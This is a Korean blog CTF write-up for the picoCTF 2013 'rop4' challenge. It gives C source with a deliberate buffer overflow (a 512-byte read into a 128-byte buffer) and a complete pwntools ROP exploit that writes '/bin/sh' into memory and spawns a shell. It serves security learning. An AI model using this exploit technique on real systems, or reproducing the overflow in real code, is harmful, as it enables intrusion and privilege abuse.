[pico CTF 2013] rop4
2018. 8. 16. 14:19ㆍCTF's Write-up
PICO rop4번 마지막문제입니다! ㅎㅎ
이번문제는 소스코드가없으면 풀기 어려워서 소스코드도 같이 첨부하겠습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | #include <stdio.h> #include <unistd.h> #include <string.h> char exec_string[20]; void exec_the_string() { execlp(exec_string, exec_string, NULL); } void call_me_with_cafebabe(int cafebabe) { if (cafebabe == 0xcafebabe) { strcpy(exec_string, "/sh"); } } void call_me_with_two_args(int deadbeef, int cafebabe) { if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) { strcpy(exec_string, "/bin"); } } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } void be_nice_to_people() { // /bin/sh is usually symlinked to bash, which usually drops privs. Make // sure we don't drop privs if we exec bash, (ie if we call system()). gid_t gid = getegid(); setresgid(gid, gid, gid); } int main(int argc, char** argv) { exec_string[0] = '\0'; be_nice_to_people(); vulnerable_function(); } | cs |
보호기법부터 확인하면. 크게 다를게 없네요 ㅎ
소스코드를 이해해보면 취약한 함수는 이전문제와 같고, exec_the_string에서 exec_string을 실행합니다.
그러면 rop를 이용해서 리턴은 exec_the_string으로 돌려주고 인자로 "/bin/sh"가 들어간 exec_string을 인자로 넘겨주면 될 것 같습니다 ㅎ(grin)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | from pwn import * r = process("./rop4") exec_the_string = 0x08048ED0 exec_string = 0x080f112c pppr = 0x0804960f read_plt = 0x8053d20 payload = "" payload += "A"*140 payload += p32(read_plt) + p32(pppr) + p32(0) + p32(exec_string) + p32(8) payload += p32(exec_the_string) + "AAAA" r.send(payload) print("[+] send payload") sleep(0.5) r.send("/bin/sh") print("[+] send shell") r.interactive() | cs |
'CTF's Write-up' 카테고리의 다른 글
tamuCTF2018 - pwn1 (0) | 2018.08.21 |
---|---|
[TJCTF2018] - Vinegar (0) | 2018.08.19 |
[pico CTF 2013] rop3 (0) | 2018.08.16 |
[pico CTF 2013] rop2 (0) | 2018.08.16 |
[TJCTF2018] - Cookie monster (0) | 2018.08.16 |